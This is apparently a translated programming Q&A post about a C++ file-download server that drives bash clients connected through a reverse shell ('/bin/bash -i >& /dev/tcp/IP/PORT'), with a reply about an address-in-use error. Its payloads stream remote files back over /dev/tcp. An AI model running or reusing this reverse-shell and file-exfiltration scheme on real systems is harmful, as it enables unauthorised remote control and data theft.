我正试图编写一个类似服务器的程序,客户端连接后,你可以下载任何你想要(并且有权限的)文件。我制作了一个函数,它具有使用
该函数:
上面是整个函数,如果您需要整个内容可以参考。 下面是同样的函数,但只包含(我认为)您需要了解发生了什么的内容。
/dev/TCP/IP/port
设备让客户端发送文件(使用bash,我不想在所有计算机上都安装客户端)的能力。我可以从客户端获取并保存文件,但如果我想从同一端口下载第二个文件(每次下载后端口应该关闭),我会收到EADDRINUSE错误。该函数:
void DownloadFile(int fd, cmd_args cmdargs, arguments args) {
// check filepaths
if(cmdargs.lpath.size() == 0 || (exists(cmdargs.lpath.c_str()) && is_directory(cmdargs.lpath.c_str()))) {
log(/*args.OutputFile*/"file", "Please specify a path to save the downloaded file");
return;
}
if(cmdargs.rpath.size() == 0) {
log("file", "Please enter a path to a file");
return;
}
// open a second server to bind
SockInitializer sock = InitializeSocket(cmdargs.ip, cmdargs.port, true);
// PACKET FORMAT: [f/d][int][\n][data]
// PACKET EXPLANATION: file/directory size_of_file new_line file_data
// open connection
string connect_payload = "exec 3>/dev/tcp/";
connect_payload += cmdargs.ip;
connect_payload += '/';
connect_payload += to_string(cmdargs.port);
//connect_payload += ';\n';
// send file/dir type
string begin_payload = "[ -d \"";
begin_payload += cmdargs.rpath;
begin_payload += "\" ] && echo -n d >&3 || echo -n f >&3;";
// send size number
begin_payload += "echo -n $(stat --printf='%s' ";
begin_payload += cmdargs.rpath;
begin_payload += ") >&3;";
// new line
begin_payload += "echo >&3;";
// send file
begin_payload += "cat ";
begin_payload += cmdargs.rpath;
begin_payload += " >&3\n\n";
// accept connection
SendString(fd, connect_payload);
int cfd = accept(sock.fd, &sock.addr, &sock.addrlen);
SendString(fd, begin_payload);
// get type
string str = ListenSocket(cfd, 1, true);
bool isFile = (str == "f");
// get file size
string ToDownloadSTRING = "";
char buf = '\0';
do {
if(buf != '\0')
ToDownloadSTRING += buf;
buf = ListenSocket(cfd, 1, true)[0];
} while(buf != '\n');
// parse file size
int ToDownload = atoi(ToDownloadSTRING.c_str());
/* download file */
if(isFile) {
int downloaded = 0;
// open file [write binary]
fstream file;
file.open(cmdargs.lpath, ios::out | ios::binary);
// loop to fetch data
while(downloaded < ToDownload) {
string tmp = ListenSocket(cfd, DOWNLOAD_BUF_SIZE);
// write to file
file.write(tmp.c_str(), tmp.size());
// flush to file
file.flush();
// add size to downloaded
downloaded += tmp.size();
}
// close file
file.close();
}
string disconnect_payload = "exec 3>&-";
SendString(fd, disconnect_payload);
// terminate connection
shutdown(cfd, SHUT_RDWR);
close(cfd);
shutdown(sock.fd, SHUT_RDWR);
close(sock.fd);
}
上面是整个函数,如果您需要整个内容可以参考。 下面是同样的函数,但只包含(我认为)您需要了解发生了什么的内容。
void DownloadFile(int fd, cmd_args cmdargs, arguments args) {
//check the filepaths
// open a second socket to bind
SockInitializer sock = InitializeSocket(cmdargs.ip, cmdargs.port, true);
// PACKET FORMAT: [f/d][int][\n][data]
// PACKET EXPLAN: file/directory size_of_file new_line file_data
// Payload to connect here and send the packet with the file
string connect_payload = "exec 3>/dev/tcp/IP/PORT";
string begin_payload = "[ -d \"REMOTE_PATH\" ] && echo -n d >&3 || echo -n f >&3; echo -n $(stat --printf='%s' REMOTE_PATH) >&3; echo >&3; cat REMOTE_PATH >&3\n\n";
// accept connection on the new socket we initialized earlier in the function
SendString(fd, connect_payload);
int cfd = accept(sock.fd, &sock.addr, &sock.addrlen);
SendString(fd, begin_payload);
// is REMOTE_PATH referring to a file or a directory?
string str = ListenSocket(cfd, 1, true);
bool isFile = (str == "f");
// get file size
string ToDownloadSTRING = "";
char buf = '\0';
do {
if(buf != '\0')
ToDownloadSTRING += buf;
buf = ListenSocket(cfd, 1, true)[0];
} while(buf != '\n');
// parse file size to integer
int ToDownload = atoi(ToDownloadSTRING.c_str());
/* download file */
if(isFile) {
int downloaded = 0;
// open file [write binary]
fstream file;
file.open(LOCAL_PATH, ios::out | ios::binary);
// loop to fetch data
while(downloaded < ToDownload) {
// get data
string tmp = ListenSocket(cfd, DOWNLOAD_BUF_SIZE);
// write to file
file.write(tmp.c_str(), tmp.size());
file.flush();
// add size to downloaded
downloaded += tmp.size();
}
// close file
file.close();
}
// make the client close the file descriptor referring to the tcp connection
string disconnect_payload = "exec 3>&-";
SendString(fd, disconnect_payload);
// terminate connection from the server
shutdown(cfd, SHUT_RDWR);
close(cfd);
shutdown(sock.fd, SHUT_RDWR);
close(sock.fd);
}
注意事项
这个问题中缺少很多函数,如果你需要任何函数,请询问,我只是认为你可以从名称中理解它们的作用。
客户端应该使用以下bash连接到服务器(我知道这实际上不安全): /bin/bash -i >& /dev/tcp/IP/PORT 0>&1
我正在使用parrotOS
: Linux
该函数应该被调用两次而不终止程序,也不会将客户端与主套接字(传递给函数的fd)断开连接。
SO_REUSEADDR
和/或SO_REUSEPORT
可能会有所帮助。 - Ted Lyngmo